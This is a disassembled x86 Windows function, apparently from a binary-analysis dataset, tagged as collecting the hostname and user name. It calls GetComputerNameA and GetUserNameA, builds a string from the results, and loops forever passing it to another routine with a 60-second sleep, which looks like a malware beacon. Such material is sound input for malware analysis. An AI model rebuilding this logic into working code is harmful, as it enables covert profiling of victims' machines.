Function at 0x401b40
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2414
call fcn.0040bc70
mov eax, dword [0x4110a0]
xor eax, esp
mov dword [esp + 0x2410], eax
push ebx
push esi
push edi
push 4
lea eax, [esp + 0x414]
push 0x411f24
xor ebx, ebx
push eax
mov dword [esp + 0x41c], ebx
call fcn.00404670
add esp, 0xc
push 4
lea ecx, [esp + 0x14]
push 0x411f24
push ecx
mov byte [esp + 0x41c], bl
mov dword [esp + 0x1c], ebx
call fcn.00404670
add esp, 0xc
push 4
lea edx, [esp + 0x214]
push 0x411f24
push edx
mov byte [esp + 0x1c], bl
mov dword [esp + 0x21c], ebx
call fcn.00404670
add esp, 0xc
push 0x411fa4
mov byte [esp + 0x214], bl
call fcn.00401900
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401bd8
lea edi, [esp + 0x10]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401be8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x411fb4
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401c10
lea edi, [esp + 0x210]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401c23
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x412064
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401c48
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
jmp 0x401c60
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401c60
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00402420
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401c80
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401c93
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x412068
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401cb8
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
jmp 0x401cd0
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401cd0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x4120a8
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401cf5
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401d08
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x41217c
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x401d5a
push 0x2a8
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
mov esi, eax
neg esi
sbb esi, esi
push edi
neg esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp esi, 1
je 0x401db4
push 0x412070
call fcn.00401900
add esp, 4
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401d70
lea edi, [esp + 0x410]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401d81
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x410]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401da1
mov ax, word [str.01:]
mov word [edi], ax
jmp 0x401e06
push 0x412070
call fcn.00401900
add esp, 4
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401dc3
lea edi, [esp + 0x410]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401dd4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x410]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401df4
mov cx, word [0x410100]
mov word [edi], cx
push 0x412078
call fcn.00401900
add esp, 4
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e15
lea edi, [esp + 0x410]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401e26
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00402210
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401e45
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401e58
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x412080
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401e80
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401e93
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 4
and ecx, 3
push 0x411f24
rep movsb byte es:[edi], byte [esi]
push 0x413310
mov dword [0x413310], ebx
call fcn.00404670
add esp, 0xc
push 0xa
push 0x413310
push ebx
mov byte [0x413310], bl
call fcn.0040d2fa
mov eax, 0x413310
add esp, 0xc
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401ee0
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401ef3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x412088
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f18
lea edi, [esp + 0x410]
sub eax, esi
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401f30
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004025c0
push 4
push 0x411f24
push 0x413310
mov esi, eax
mov dword [0x413310], ebx
call fcn.00404670
add esp, 0xc
push 0xa
push 0x413310
push esi
mov byte [0x413310], bl
call fcn.0040d2fa
mov eax, 0x413310
add esp, 0xc
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401f84
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401f97
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x412090
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401fc0
lea edi, [esp + 0x410]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401fd1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.004014d0
push 4
push 0x411f24
push 0x413310
mov esi, eax
mov dword [0x413310], ebx
call fcn.00404670
add esp, 0xc
push 0xa
push 0x413310
push esi
mov byte [0x413310], bl
call fcn.0040d2fa
mov eax, 0x413310
add esp, 0xc
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402025
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402038
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x412098
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402060
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402073
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0xc]
mov ecx, eax
push edx
and ecx, 3
mov ebx, 0x7fff
push 0x41b510
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov eax, 0x41b510
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4020b0
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4020c3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x4120a0
rep movsb byte es:[edi], byte [esi]
call fcn.00401900
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4020e8
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
jmp 0x402100
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402100
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0xc]
push eax
and ecx, 3
push 0x413510
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x14], ebx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov eax, 0x413510
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402131
lea edi, [esp + 0x410]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402144
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x410]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402162
mov cx, word [0x410104]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov word [edi], cx
lea ebx, [ebx]
push 4
lea edx, [esp + 0x141c]
push 0x411f24
push edx
mov dword [esp + 0x1424], 0
call fcn.00404670
add esp, 0xc
lea eax, [esp + 0x410]
push eax
lea ecx, [esp + 0x214]
push ecx
lea ecx, [esp + 0x18]
mov byte [esp + 0x1420], 0
call fcn.004028d0
add esp, 8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4021c8
lea edi, [esp + 0x1418]
sub eax, ecx
mov esi, ecx
dec edi
jmp 0x4021e0
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4021e0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1418]
call fcn.00402fe0
push 0xea60
call ebx
jmp 0x402180